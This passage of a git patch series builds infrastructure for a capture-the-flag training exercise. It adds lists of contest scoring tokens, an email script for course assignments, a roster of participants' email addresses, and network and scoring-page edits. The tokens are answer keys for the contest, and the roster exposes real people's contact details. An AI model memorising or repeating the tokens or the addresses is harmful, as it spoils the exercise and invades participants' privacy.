packages/tf4/tokens.txt diff --git a/packages/tf4/tf4.mk b/packages/tf4/tf4.mk new file mode 100644 index 0000000..12e9671 --- /dev/null +++ b/packages/tf4/tf4.mk @@ -0,0 +1,8 @@ +tf4-source: +tf4-build: + +tf4-install: packages/tf4/tokens.txt + mkdir -p $(TARGET)/tf4/ + cp $< $(TARGET)/tf4/ + +PACKAGES += tf4 diff --git a/packages/tf4/tokens.txt b/packages/tf4/tokens.txt new file mode 100644 index 0000000..b663835 --- /dev/null +++ b/packages/tf4/tokens.txt @@ -0,0 +1,400 @@ +ic:1:xocik-tinez-timax +ic:2:xoval-keriv-gisix +ic:3:xudam-dydal-cisyx +ic:4:xofab-tomav-vupix +ic:5:xumos-pizip-visax +ic:6:xotis-dyser-fasux +ic:7:xupeg-curug-lidux +ic:8:xolad-cikov-hovex +ic:9:xomen-fucuk-ramix +ic:10:xugez-dihod-zopox +ic:11:xomal-muboh-sunax +ic:12:xipel-zokan-vegox +ic:13:xedol-dyryh-mygox +ic:14:xetog-pygik-nokix +ic:15:xepan-neheb-guzox +ic:16:xohoz-dokuz-gonox +ic:17:xuhig-sitab-dybox +ic:18:xunov-nohos-tumex +ic:19:xuril-lifub-behex +ic:20:xurim-tihih-dodax +ic:21:xogad-sezub-cupex +ic:22:xubez-kodab-pafix +ic:23:xihif-muhoc-syvux +ic:24:ximag-hymyf-pysex +ic:25:xepes-tyfep-sonux +ic:26:xopim-fikas-tuhax +ic:27:xiler-rybyz-tazyx +ic:28:xegaf-vizyv-kacix +ic:29:xitak-tonan-tavyx +ic:30:xivac-cerac-pozax +ic:31:xogel-teser-buryx +ic:32:xenek-dyhot-rifex +ic:33:xinof-tugar-cisax +ic:34:xulit-hilog-sohox +ic:35:xipof-vihym-kobex +ic:36:xuhig-kikat-nihox +ic:37:xolaz-visus-cinix +ic:38:xebor-pibib-kibox +ic:39:xerit-vyfem-tolix +ic:40:xuzeb-vofym-lofix +ic:41:xogig-vesul-dycax +ic:42:xenok-husuk-vokox +ic:43:xepac-luzug-numux +ic:44:xumap-tovur-tolux +ic:45:xicig-vumav-tibex +ic:46:xosag-ragus-cabax +ic:47:xeget-datud-myvex +ic:48:xozak-resem-tufax +ic:49:xinac-kubul-bicix +ic:50:xibov-devuz-vipyx +ic:51:xuheh-gorap-vizix +ic:52:xobod-vygyp-zudex +ic:53:xopar-bunyk-nysax +ic:54:xinek-nunac-nobyx +ic:55:xucib-harup-rofax +ic:56:xefet-lecyg-cuhox +ic:57:xovop-gipeg-pipux +ic:58:xigen-hozef-zybox +ic:59:xizat-fybeg-firix +ic:60:xorog-kenad-gomax +ic:61:xohif-gyduv-mygox +ic:62:xufam-zukyt-kopyx +ic:63:xilan-logog-sagux +ic:64:ximic-nupav-pylax +ic:65:xipog-nytek-zyzyx +ic:66:xecor-padyl-kugyx +ic:67:xidav-covim-gybix +ic:68:xipav-faves-limyx +ic:69:xesik-tiren-sulyx +ic:70:xelob-gyrud-gatix +ic:71:xizag-ronil-tybux +ic:72:xinoc-gumus-tocux +ic:73:xivog-balis-logax +ic:74:xideb-pafuc-vesux +ic:75:xuser-zamil-bilox +ic:76:xizan-fibyt-bocyx +ic:77:xefis-tynac-fyzux +ic:78:xucap-kogef-tyzyx +ic:79:xegas-nagef-zogox +ic:80:xumor-kevub-nanox +ic:81:xinek-vedah-gehyx +ic:82:xifep-bonuc-tycux +ic:83:xitah-fefav-myrix +ic:84:xelid-vybeb-ketex +ic:85:xivis-nelul-nukyx +ic:86:xeror-rikit-rafyx +ic:87:xubin-gevyb-satax +ic:88:xukiv-dyket-nacex +ic:89:xifed-gycor-filyx +ic:90:xibif-rakov-henix +ic:91:xubiv-sakul-pobex +ic:92:xelan-lebar-colox +ic:93:xecaf-tupap-halax +ic:94:xeroc-sirir-vecux +ic:95:xumip-nupeh-kesax +ic:96:xodig-rocod-pukex +ic:97:xopih-bocys-zivex +ic:98:xoref-kubos-nufix +ic:99:xesec-rugyb-povax +ic:100:xolen-tevab-sutux +splunk:1:ximez-lifab-lytux +splunk:2:xutet-godyc-gilyx +splunk:3:xozon-buros-pebex +splunk:4:xikec-koroz-vocix +splunk:5:xerig-myvar-hysux +splunk:6:xisam-tisaf-gecax +splunk:7:ximiv-picum-synox +splunk:8:xicod-bimyh-mugex +splunk:9:xizos-civeg-lygux +splunk:10:xikon-cicat-zuhex +splunk:11:xobom-sipyh-milix +splunk:12:xivov-syvad-nunox +splunk:13:xerip-zyfet-hygux +splunk:14:xocad-nezip-typox +splunk:15:xumad-vagig-sugox +splunk:16:xodid-vatuv-dinox +splunk:17:xuzek-fynip-cadix +splunk:18:xitoz-vetob-lurox +splunk:19:xidav-lirad-symox +splunk:20:xekor-kydig-lopox +splunk:21:xonaf-tysyh-relix +splunk:22:xezif-dahom-gydux +splunk:23:xeloz-mycol-dymox +splunk:24:xepit-burin-sarax +splunk:25:xebal-povor-vozux +splunk:26:xisof-bipad-zosix +splunk:27:xetep-poded-legax +splunk:28:xutaf-hohak-tenux +splunk:29:xemaz-gycak-nisux +splunk:30:xeziv-luvah-vikex +splunk:31:xenan-fifus-nusax +splunk:32:xukog-mosec-hihax +splunk:33:xutev-lepep-rovux +splunk:34:xiboh-fagyf-gemix +splunk:35:xopac-barup-ricix +splunk:36:xelib-dolap-lyfix +splunk:37:xivap-tyfic-lotox +splunk:38:xuzep-ciryh-botyx +splunk:39:xumin-bysas-fytox +splunk:40:xital-siric-burix +splunk:41:xerip-hipyp-vokix +splunk:42:xizag-zyros-kodax +splunk:43:xufel-dalov-hufax +splunk:44:xokih-cacun-ratix +splunk:45:xehap-vekag-numix +splunk:46:xedok-podog-hafyx +splunk:47:xecac-vygac-ryhyx +splunk:48:xefek-dogyh-podyx +splunk:49:xomak-hyrap-tavyx +splunk:50:xizag-kesup-lupux +splunk:51:xerir-cigig-myfix +splunk:52:xebam-copuc-kahyx +splunk:53:xizav-poben-pugax +splunk:54:xozet-cidel-bemox +splunk:55:xoleg-lafof-fosix +splunk:56:xepec-dedan-bonox +splunk:57:xutif-tehuv-henex +splunk:58:xoreh-cezol-gyhux +splunk:59:xobap-menyg-zugyx +splunk:60:xevil-cozag-tafax +splunk:61:xidik-danof-gamox +splunk:62:xocov-hulev-fubux +splunk:63:xipol-pagon-medix +splunk:64:xidor-tydys-vibex +splunk:65:xubal-tufar-nodix +splunk:66:xolit-duzyb-dyvyx +splunk:67:xunes-gapig-zezux +splunk:68:xegat-fufav-fucux +splunk:69:xitop-tybeb-bimux +splunk:70:xupim-gicev-pirax +splunk:71:xerod-ketot-sobux +splunk:72:xulis-kycyg-buzax +splunk:73:xifaz-cycof-huvux +splunk:74:xedos-bekut-gipex +splunk:75:xikor-zecib-tugix +splunk:76:xigop-gikyc-lugyx +splunk:77:xunet-tyvun-povex +splunk:78:xumit-ganer-puhax +splunk:79:xotev-mymaz-kabyx +splunk:80:xurah-nakop-fifex +splunk:81:xodof-kevyf-gyhux +splunk:82:xuset-divyv-rycux +splunk:83:xihan-rudys-batix +splunk:84:xozet-ravyh-kohux +splunk:85:xites-sybak-duzix +splunk:86:xubog-kitil-conux +splunk:87:xovos-mysog-hahox +splunk:88:xivin-kolec-kesux +splunk:89:xizip-vesyk-tofix +splunk:90:xotap-fizuz-mytax +splunk:91:xehah-gisyr-kokex +splunk:92:xedob-kefod-muhex +splunk:93:xirov-cysav-rygex +splunk:94:xogot-bidub-rygox +splunk:95:xodik-ligyn-mytyx +splunk:96:xefot-kodad-sezax +splunk:97:xefel-tekap-renex +splunk:98:xutab-mikuf-pynox +splunk:99:xosoh-nopog-fadix +splunk:100:xogal-sapop-volix +paloalto:1:xebam-sihir-vamix +paloalto:2:xuciz-gudyp-hufux +paloalto:3:xenal-tuvuk-razox +paloalto:4:xorap-palig-dedox +paloalto:5:xelan-faneb-kunix +paloalto:6:xegev-lebef-ralyx +paloalto:7:xolid-rofol-midex +paloalto:8:xonar-datyn-honux +paloalto:9:xivoh-tehur-kyzox +paloalto:10:xepaz-hogat-hehyx +paloalto:11:xigem-civob-vimox +paloalto:12:xekiz-bibec-lamyx +paloalto:13:xezen-sokoc-kyfix +paloalto:14:xizaz-cefat-pivux +paloalto:15:xonez-manel-balyx +paloalto:16:xozes-vyzoz-ryzax +paloalto:17:xeset-mecep-nezix +paloalto:18:ximap-savuz-bivex +paloalto:19:xinik-tokoz-kyfyx +paloalto:20:xupok-ryfyc-vohix +paloalto:21:xirep-pykeh-nerex +paloalto:22:xokig-nysim-senyx +paloalto:23:xezip-polyn-zapox +paloalto:24:xizoh-vyfuv-bulox +paloalto:25:xecip-hulap-zedex +paloalto:26:xemav-netym-kuryx +paloalto:27:xubaf-zycid-conox +paloalto:28:xinap-pasol-sadax +paloalto:29:ximop-visir-pibyx +paloalto:30:xidok-gedov-humax +paloalto:31:xopar-vypan-latix +paloalto:32:xilec-rybad-huvax +paloalto:33:xupeg-pitop-fucex +paloalto:34:xolob-refos-nacex +paloalto:35:xuvez-vycud-zusux +paloalto:36:xidot-rabyk-sicax +paloalto:37:xisil-tazut-gezix +paloalto:38:xonos-rozom-kehex +paloalto:39:xucec-farek-kofax +paloalto:40:xisap-kibol-fulix +paloalto:41:xehol-tukov-cenyx +paloalto:42:xodag-tibah-hesyx +paloalto:43:xovob-ketyh-fusix +paloalto:44:xiciv-kybol-cogyx +paloalto:45:xovip-rucan-bycyx +paloalto:46:xufos-kidif-basix +paloalto:47:xogif-davek-vyzux +paloalto:48:xozef-hogoh-menux +paloalto:49:xugod-hopil-sumex +paloalto:50:xulak-fituh-sulix +paloalto:51:xufib-vugys-surux +paloalto:52:xifep-kicyl-febax +paloalto:53:xohop-ketit-vitux +paloalto:54:xonog-sudes-repix +paloalto:55:xemic-tilyg-fafix +paloalto:56:xunef-cukep-ryfox +paloalto:57:xudis-koreb-rihyx +paloalto:58:xilas-kolyt-hehex +paloalto:59:xekob-nytum-muhix +paloalto:60:xitik-hybid-syzax +paloalto:61:xozeh-lyhom-nesox +paloalto:62:xegeb-meced-dufex +paloalto:63:xuhaz-kekil-nicex +paloalto:64:xifin-vifac-sorux +paloalto:65:xihib-pygil-cafux +paloalto:66:xogog-fypar-simyx +paloalto:67:xilag-nulok-cihax +paloalto:68:xubam-ripoh-lebix +paloalto:69:xilin-saneh-pifux +paloalto:70:xedan-simil-hapyx +paloalto:71:xutaf-bogil-polax +paloalto:72:xulaz-pirek-pysax +paloalto:73:xival-rynyn-gypex +paloalto:74:xipot-mazak-gusex +paloalto:75:xiceb-resyl-mekyx +paloalto:76:xumok-bahyn-kisax +paloalto:77:xeman-kegaz-safyx +paloalto:78:xedek-filov-myhix +paloalto:79:xuhim-nicor-zumix +paloalto:80:xofem-cetiv-lihyx +paloalto:81:xonaz-muhih-dysex +paloalto:82:xizol-sycol-cahax +paloalto:83:xuhom-mihut-rynyx +paloalto:84:xemef-kubit-kimox +paloalto:85:xuzis-domyh-luhux +paloalto:86:xilet-timus-sonux +paloalto:87:xuzob-fyrac-tazyx +paloalto:88:xubof-poneh-mitux +paloalto:89:xemov-mufob-lihax +paloalto:90:xudag-bacav-libox +paloalto:91:xulat-kugez-ryfex +paloalto:92:xomos-voboh-huhax +paloalto:93:xoran-sosil-sugex +paloalto:94:xetim-conuv-mygax +paloalto:95:xudak-mubys-nydyx +paloalto:96:xizik-nocuv-golyx +paloalto:97:xerad-dytyc-rycyx +paloalto:98:xihod-cecib-kykex +paloalto:99:xugor-lavup-nakex +paloalto:100:xikaz-tufib-sovux +re:1:xulim-fepar-myvax +re:2:xucol-tilon-fukex +re:3:xehan-mudut-mafex +re:4:xetam-cigys-tegax +re:5:xomak-feles-dekox +re:6:xumid-nigud-kupyx +re:7:xubes-cikif-sirix +re:8:xuniv-rutuh-mybux +re:9:xukoh-gyfov-potax +re:10:xinab-kurek-mokix +re:11:xelek-pizab-cesux +re:12:xivar-tolyz-lusox +re:13:xisik-pumuc-mavux +re:14:xinib-dezid-vakyx +re:15:xeceg-mupir-dorax +re:16:xudic-nycam-cosux +re:17:xomir-pypav-ninax +re:18:xokid-lacib-zydix +re:19:xiceg-cugud-benyx +re:20:xubeb-fokyc-tavix +re:21:xupov-dubis-pogax +re:22:xorot-ryzez-vedix +re:23:xipeg-tepap-latix +re:24:xiget-hehym-kycex +re:25:xefop-zucez-cusex +re:26:xivah-kehak-sibux +re:27:xutem-hadyv-pemux +re:28:xisac-cylot-rezox +re:29:xevec-semos-vylax +re:30:xideg-pygon-vizix +re:31:xubin-mazog-dacax +re:32:xibep-fador-hupex +re:33:xuvos-zidul-hulux +re:34:xebih-pugoz-luzex +re:35:xiras-vimiv-fizex +re:36:xecad-palol-lasox +re:37:xibic-lafam-tepax +re:38:xumik-bolyz-kytix +re:39:xuceg-fytut-rilux +re:40:xihen-zobek-gityx +re:41:xolal-zelof-vokix +re:42:xored-tofid-fomyx +re:43:xehag-vivef-tadox +re:44:xobed-rucug-fifux +re:45:xolez-dozok-kozax +re:46:xogal-cyzec-nopex +re:47:xeles-lafos-begex +re:48:xosan-vykac-kehix +re:49:xilod-luguv-zyrax +re:50:xecek-magin-fybox +re:51:xevid-nucas-kudax +re:52:xirez-dovav-fudyx +re:53:xodef-fitir-cylyx +re:54:xotoz-canor-dokax +re:55:xuciv-lofar-girix +re:56:xelir-budiv-ryzex +re:57:xelek-gigur-kafix +re:58:xutev-kituh-halex +re:59:xohec-sytar-bapax +re:60:xodoh-nymyn-tamux +re:61:ximor-dacog-bamox +re:62:xegav-pyvyz-codux +re:63:xibek-debyk-hycox +re:64:xudig-hobil-hatex +re:65:xuged-kafid-ratux +re:66:xorif-motym-vyrix +re:67:xerit-luvos-birax +re:68:xuvab-hamyz-carex +re:69:xufal-fibil-hubax +re:70:xunar-tusem-hepax +re:71:xofiz-kysus-lovex +re:72:xezes-dofyt-notix +re:73:xilon-zuziv-facex +re:74:xisac-zybyg-bizux +re:75:xevah-lymip-myrax +re:76:xicib-vacev-cemux +re:77:xicas-holez-fubox +re:78:xupez-talol-finax +re:79:xikil-gosid-zunux +re:80:xireb-hezuh-cuzux +re:81:xigos-dozal-sagex +re:82:xosez-coruf-nycyx +re:83:xihag-nesyp-zonax +re:84:xuzef-kohez-hupax +re:85:xekal-difyl-zodex +re:86:xikah-cacom-tutix +re:87:xumiz-zedel-melex +re:88:xenih-vacam-lisux +re:89:xeciz-tadyf-mesux +re:90:xomet-sodov-gazix +re:91:xodob-pygyt-vimox +re:92:xigim-pofym-hunax +re:93:xicec-nofep-mavex +re:94:xepec-hecys-fizyx +re:95:xitig-dudes-tehux +re:96:xocic-fugys-mikyx +re:97:xutim-munef-sevox +re:98:xenod-nomyf-ruvax +re:99:xepov-lotap-fozyx +re:100:xoras-mynaf-sosix From b1bc96cfa520dbb90a38d808927f2a6103324fae Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Mon, 30 Jan 2012 09:59:42 -0700 Subject: [PATCH 08/14] Fix typo in v6 docs --- doc/ipv6.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/ipv6.txt b/doc/ipv6.txt index 1fe56ef..32517d2 100644 --- a/doc/ipv6.txt +++ b/doc/ipv6.txt @@ -2,12 +2,12 @@ IPv6 in Dirtbags CTF ==================== The contest network uses IPs in the unique local address space -fd82:b410:3441::/48. Each team gets a /64 internal subnet, with +fd84:b410:3441::/48. Each team gets a /64 internal subnet, with their team number (generally the same as the switch port). -Each subnet's gateway is ::1. +Each subnet's gateway is fd84:b410:3441:$teamno::1. -Team 5, in switch port 5, on VLAN 5, gets fd82:b410:3441:5::/64. +Team 5, in switch port 5, on VLAN 5, gets fd84:b410:3441:5::/64. Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To make things easier to type, use hosts in the /112. The MCP server lives From a62871d9e14322d40de7fac724dcc0b49e4908f5 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Mon, 30 Jan 2012 17:08:41 -0700 Subject: [PATCH 09/14] course assignment program, add forensic tokens --- doc/2012-02-TF4/assignments.py | 72 ++++++++++++++++++++++++ packages/tf4/tokens.txt | 100 +++++++++++++++++++++++++++++++++ 2 files changed, 172 insertions(+) create mode 100755 doc/2012-02-TF4/assignments.py diff --git a/doc/2012-02-TF4/assignments.py b/doc/2012-02-TF4/assignments.py new file mode 100755 index 0000000..b7d1d43 --- /dev/null +++ b/doc/2012-02-TF4/assignments.py @@ -0,0 +1,72 @@ +#! /usr/bin/python3 + +## Course assignments + +import csv +import smtplib + +msg = '''From: Neale Pickett +To: %(recip)s +Subject: Tracer FIRE 4 course assignment: %(course)s + +Hello! Your course assignment for Tracer FIRE 4 is: + + %(course)s + +Please see http://csr.lanl.gov/tf/tf4.html for information on +what you need to bring to the course. + +Course questions should be directed to the appropriate instructor: + + Network RE: Neale Pickett + Malware RE: Danny Quist + Host Forensics: Kevin Nauer + Incident Coordination: Alex Kent + +General questions about Tracer FIRE may be sent to +Neale Pickett + +Looking forward to seeing you in Santa Fe next week, + +-- +Neale Pickett +Advanced Computing Solutions, Los Alamos National Laboratory +''' + +limits = {'Malware RE': 26, + 'Network RE': 40} +assignments = {} + +assigned = set(l.strip() for l in open('assigned.txt')) + +c = csv.reader(open('/tmp/g.csv')) +c.__next__() +for row in c: + assert '@' in row[2] + t = row[5] + if (len(assignments.get(t, '')) == limits.get(t, 50)): + if (row[6] == row[5]): + print("Jackass detected: %s" % row[2]) + t = row[6] + l = assignments.setdefault(t, []) + l.append(row) + +s = smtplib.SMTP('mail.lanl.gov') +for t in ('Incident Coordinator', 'Network RE', 'Malware RE', 'Forensics'): + print('%s (%s)' % (t, len(assignments[t]))) + for row in assignments[t]: + e = row[2] + if e in assigned: + print(' %s' % e) + else: + print(' * %s' % e) + ret = s.sendmail('neale@lanl.gov', [e], msg % {'course': t, 'recip': e}) + if ret: + print(' ==> %s' % ret) + else: + assigned.add(e) +s.quit() + +a = open('assigned.txt', 'w') +for e in assigned: + a.write('%s\n' % e) diff --git a/packages/tf4/tokens.txt b/packages/tf4/tokens.txt index b663835..7059bd6 100644 --- a/packages/tf4/tokens.txt +++ b/packages/tf4/tokens.txt @@ -398,3 +398,103 @@ re:97:xutim-munef-sevox re:98:xenod-nomyf-ruvax re:99:xepov-lotap-fozyx re:100:xoras-mynaf-sosix +forensic:1:xicoz-gykyl-mazax +forensic:2:xuzod-nigec-lynyx +forensic:3:xiseb-mefyf-regyx +forensic:4:xusit-ruzur-nunyx +forensic:5:xolor-suveh-fygyx +forensic:6:xilil-nerub-tatex +forensic:7:xihom-nibaz-ronyx +forensic:8:xuzoh-gyfed-pehix +forensic:9:xuson-hutyr-zemyx +forensic:10:xucac-hemav-zizux +forensic:11:xifig-forur-kecix +forensic:12:xonoh-cobig-tyfax +forensic:13:xedof-pivad-notex +forensic:14:xolaf-kahek-vitox +forensic:15:xebak-livec-gugox +forensic:16:xidic-kahap-corox +forensic:17:xufaz-cakoh-bosyx +forensic:18:xetad-befon-sitax +forensic:19:xigit-zynid-busix +forensic:20:xopom-tafis-dubix +forensic:21:xelid-hosiv-nuhux +forensic:22:xulez-kyceh-sukex +forensic:23:xufak-hygur-vodex +forensic:24:xurok-sahon-mykix +forensic:25:xohin-cohic-hanyx +forensic:26:xunac-ditil-rykux +forensic:27:ximoh-sycik-fytux +forensic:28:xival-zovos-cazox +forensic:29:xogiz-sebyn-lifix +forensic:30:xicog-hivan-nabix +forensic:31:xuven-kyvam-hupyx +forensic:32:xedez-hekat-lemyx +forensic:33:xupam-zufim-hynix +forensic:34:xozib-mazed-cufax +forensic:35:xotob-vymem-befax +forensic:36:xokiv-labym-hozax +forensic:37:xipag-guvof-tonux +forensic:38:xurom-hyhim-vonux +forensic:39:xihop-pykek-camox +forensic:40:xebiv-zinut-hirox +forensic:41:xomig-sycyc-dysex +forensic:42:xifol-rudec-dygux +forensic:43:xohen-nukuc-silyx +forensic:44:xover-pydur-lyzax +forensic:45:xuhis-caloh-momex +forensic:46:xinez-kydan-mosix +forensic:47:xupat-vynyh-kemyx +forensic:48:xipir-nylik-bydox +forensic:49:xupov-facec-zymyx +forensic:50:xovid-dugiv-helux +forensic:51:xezim-pegez-tirox +forensic:52:xugac-kuzin-bibex +forensic:53:xebib-pevah-nigex +forensic:54:xihel-capuz-focex +forensic:55:xepib-gycyf-dylyx +forensic:56:xemif-dimaf-rukax +forensic:57:xukeb-likur-zozex +forensic:58:xosod-tigiz-tudux +forensic:59:xugop-mebem-synax +forensic:60:xozov-zopik-behox +forensic:61:xekof-sutat-lasix +forensic:62:xucaz-pekom-nimyx +forensic:63:xegim-moruv-synox +forensic:64:xesek-mihuv-tezux +forensic:65:xegon-kebad-kelyx +forensic:66:xedev-vivag-ladax +forensic:67:xilat-zumus-dutux +forensic:68:xefof-dasib-vacex +forensic:69:xukak-nifin-mypix +forensic:70:xudag-zizen-fityx +forensic:71:xoziz-ferim-selux +forensic:72:ximed-humok-serex +forensic:73:xetir-pycel-locyx +forensic:74:xinel-vecis-tipux +forensic:75:xusel-zovam-kutyx +forensic:76:xodac-cucal-hudex +forensic:77:xipoc-nanuz-pakyx +forensic:78:xomab-navah-kirox +forensic:79:xusog-gadem-tacex +forensic:80:xerel-cesov-ferox +forensic:81:xupis-sedur-zevix +forensic:82:xehed-fulog-fibix +forensic:83:xufez-celaf-ruhex +forensic:84:xepez-feryf-kovox +forensic:85:xugic-gepuc-dufox +forensic:86:xogeh-kuryl-comox +forensic:87:xitek-rikih-kopix +forensic:88:xefis-gepol-fafex +forensic:89:xodar-dirub-sabox +forensic:90:xolom-rubyf-darox +forensic:91:xuteg-pecys-dakux +forensic:92:xukig-basuk-duvyx +forensic:93:xivat-fohom-virox +forensic:94:xizog-decuc-fanox +forensic:95:xusoz-pikos-cyzyx +forensic:96:xiboc-kapys-tazox +forensic:97:xubor-kares-gikux +forensic:98:xovar-kalyl-kufex +forensic:99:xusap-fipon-nafax +forensic:100:xusot-hydob-leryx From 83841a18433125ecda5a70e752731b2a9f00e0c0 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Tue, 31 Jan 2012 10:50:42 -0700 Subject: [PATCH 10/14] add static route for kevin, bump radvd version --- packages/router/router.mk | 2 +- packages/router/service/router/run | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/router/router.mk b/packages/router/router.mk index 536e609..c101883 100644 --- a/packages/router/router.mk +++ b/packages/router/router.mk @@ -15,7 +15,7 @@ router-clean: ## ## radvd ## -RADVD_VERSION = 1.8.1 +RADVD_VERSION = 1.8.4 RADVD_TARBALL = $(CACHE)/radvd-$(RADVD_VERSION).tar.gz RADVD_URL = http://www.litech.org/radvd/dist/radvd-$(RADVD_VERSION).tar.gz RADVD_SRCDIR = $(ROUTER_BUILDDIR)/radvd-$(RADVD_VERSION) diff --git a/packages/router/service/router/run b/packages/router/service/router/run index 54fd6b9..6f0036b 100755 --- a/packages/router/service/router/run +++ b/packages/router/service/router/run @@ -30,4 +30,6 @@ for i in $(seq 24); do ip link set eth0.$i up done +ip route add fd80:1::/48 via fd84:b410:3441:24::2 + sleep 8100d From 37f0bc67f280edcb88d0c9ab8eccc80243c6ca14 Mon Sep 17 00:00:00 2001 From: Aaron McPhall Date: Tue, 31 Jan 2012 17:39:01 -0500 Subject: [PATCH 11/14] Changed scoring.html to reflect multi-point tokens --- packages/mcp/www/scoring.html | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/packages/mcp/www/scoring.html b/packages/mcp/www/scoring.html index a268508..c48ec0f 100644 --- a/packages/mcp/www/scoring.html +++ b/packages/mcp/www/scoring.html @@ -29,7 +29,7 @@

Many of the categories are in the form of multiple puzzles: for each puzzle presented, a - case-sensitive answer must be found to recieve the amount of + case-sensitive answer must be found to receive the amount of points that puzzle is worth. Any team may answer any puzzle question at any time. A new puzzle is revealed when a team correctly answers the highest-valued puzzle in that category. @@ -38,12 +38,20 @@

Tokens

- Tokens are strings redeemable once for a single point each. A + Tokens are strings redeemable once for points. They take on + two forms: a single or multipoint token. A single point token for the "example" category might look like this:

example:xylep-radar-nanox
+

+ A 42 point + token for the "example" category might look like this: +

+ +
example:42:xihyp-ropar-nanix
+

Tokens are typically associated with "live" categories, such as a network-based service or a treasure hunt. Tokens can be submitted From 718300de4c7afcea9c16e66cb8438867689d8b77 Mon Sep 17 00:00:00 2001 From: Neale Pickett Date: Tue, 31 Jan 2012 16:45:53 -0700 Subject: [PATCH 12/14] clean up cowbull, some docs --- doc/2012-02-TF4/assign.01-30.txt | 75 + doc/2012-02-TF4/assignments.py | 4 + doc/2012-02-TF4/layout.dxf | 5468 ++++++++++++++++++++++ doc/2012-02-TF4/style.svg | 1559 ++++++ packages/cowbull/cowbull.mk | 19 + packages/cowbull/service/cowbull/finish | 4 + packages/cowbull/service/cowbull/ip.txt | 1 + packages/cowbull/service/cowbull/log/run | 3 + packages/cowbull/service/cowbull/run | 7 + packages/cowbull/src/Makefile | 10 + packages/cowbull/src/cowcli.c | 47 +- packages/cowbull/src/cowd.c | 35 +- packages/cowbull/tokens.txt | 10 + packages/cowbull/www/moo.html | 91 + packages/mcp/src/puzzler.cgi.c | 5 - packages/rlyeh/service/rlyeh/ip.txt | 2 +- packages/rlyeh/service/rlyeh/run | 2 +- 17 files changed, 7309 insertions(+), 33 deletions(-) create mode 100644 doc/2012-02-TF4/assign.01-30.txt create mode 100644 doc/2012-02-TF4/layout.dxf create mode 100644 doc/2012-02-TF4/style.svg create mode 100644 packages/cowbull/cowbull.mk create mode 100755 packages/cowbull/service/cowbull/finish create mode 100644 packages/cowbull/service/cowbull/ip.txt create mode 100755 packages/cowbull/service/cowbull/log/run create mode 100755 packages/cowbull/service/cowbull/run create mode 100644 packages/cowbull/tokens.txt create mode 100644 packages/cowbull/www/moo.html diff --git a/doc/2012-02-TF4/assign.01-30.txt b/doc/2012-02-TF4/assign.01-30.txt new file mode 100644 index 0000000..8f05d1e --- /dev/null +++ b/doc/2012-02-TF4/assign.01-30.txt @@ -0,0 +1,75 @@ +Incident Coordinator (6) + * melissa.zicopula@iarc.nv.gov + * Robert.Messemer@nielsen.com + * simone.shen@us.af.mil + * cneberg@sandia.gov + * gary.long@state.nm.us + * brian.varine@hq.doe.gov +Network RE (30) + * myrick3@llnl.gov + * rcsisneros@lanl.gov + * jdbaca@sandia.gov + * lockij@pjm.com + * jbradshaw@ihmc.us + * dmdunla@sandia.gov + * paul.tarricone@orau.org + * bcoulson@digitalglobe.com + * equarle@sandia.gov + * raymond.hussonii@gmail.com + * jwelcher@lbl.gov + * ranabey@sandia.gov + * lindseymg@ornl.gov + * ccollord@lanl.gov + * jcstrom@sandia.gov + * djvollan@lanl.gov + * henry.hutson@iarc.nv.gov + * rwschr@sandia.gov + * rettinger@izmm.com + * jdbrad@sandia.gov + * jedoak@sandia.gov + * javery@pantex.com + * zkhspryt98@snkmail.com + * jlangley@pantex.com + * chris.hancock@state.nm.us + * david.llewellyn@ssa.gov + * banderson@lanl.gov + * mfgomez@lanl.gov + * wclark@pantex.com + * mla_ca520@hotmail.com +Malware RE (26) + * edthoma@sandia.gov + * dmdorse@sandia.gov + * kphall@sandia.gov + * mcelws@pjm.com + * mcglyj@pjm.com + * cvedaa@fdic.gov + * amcphall@lanl.gov + * lettef@pjm.com + * jscott@pantex.com + * villalon@cs.unm.edu + * cjtafoy@sandia.gov + * tbsmith@sandia.gov + * sgidituri@ercot.com + * perry.james.t@gmail.com + * jjmande@sandia.gov + * rguttierrez@ercot.com + * jcjaroc@sandia.gov + * samulde@sandia.gov + * enhan@sandia.gov + * swade@sandia.gov + * thomas.walters@iarc.nv.gov + * nrpeter@sandia.gov + * tmkroeg@sandia.gov + * tbruner@sandia.gov + * mike.owens@state.nm.us + * pferrell@lanl.gov +Forensics (9) + * jjhaas@sandia.gov + * brander@sandia.gov + * chou@nv.doe.gov + * royjuan@lanl.gov + * rpcuste@sandia.gov + * gerald.stephen@iarc.nv.gov + * chance.gearhart@state.nm.us + * ldbutts1@gmail.com + * jstauffer07@gmail.com diff --git a/doc/2012-02-TF4/assignments.py b/doc/2012-02-TF4/assignments.py index b7d1d43..08d4293 100755 --- a/doc/2012-02-TF4/assignments.py +++ b/doc/2012-02-TF4/assignments.py @@ -26,6 +26,10 @@ Course questions should be directed to the appropriate instructor: General questions about Tracer FIRE may be sent to Neale Pickett +Remember: the exercise network should be considered +hostile! Do not bring anything sensitive on your laptop, +and make sure you back everything up. + Looking forward to seeing you in Santa Fe next week, -- diff --git a/doc/2012-02-TF4/layout.dxf b/doc/2012-02-TF4/layout.dxf new file mode 100644 index 0000000..1d502ef --- /dev/null +++ b/doc/2012-02-TF4/layout.dxf @@ -0,0 +1,5468 @@ +999 +dxflib 2.0.4.8 + 0 +SECTION + 2 +HEADER + 9 +$ACADVER + 1 +AC1015 + 9 +$HANDSEED + 5 +FFFF + 9 +$DIMASZ + 40 +0.1 + 9 +$GRIDUNIT + 10 +1.0 + 20 +1.0 + 9 +$DIMADEC + 70 +2 + 9 +$DIMGAP + 40 +0.025 + 9 +$SPLINESEGS + 70 +8 + 9 +$AUPREC + 70 +2 + 9 +$LUNITS + 70 +5 + 9 +$DIMEXO + 40 +0.025 + 9 +$INSUNITS + 70 +2 + 9 +$DIMLUNIT + 70 +5 + 9 +$DIMTXT + 40 +0.1 + 9 +$GRIDMODE + 70 +1 + 9 +$LUPREC + 70 +2 + 9 +$PSVPSCALE + 40 +0.0063819011769857 + 9 +$DIMSTYLE + 2 +Standard + 9 +$PLIMMAX + 10 +0.7083333333333334 + 20 +0.9166666666666665 + 9 +$PLIMMIN + 10 +0.0 + 20 +0.0 + 9 +$PINSBASE + 10 +0.0426059739819105 + 20 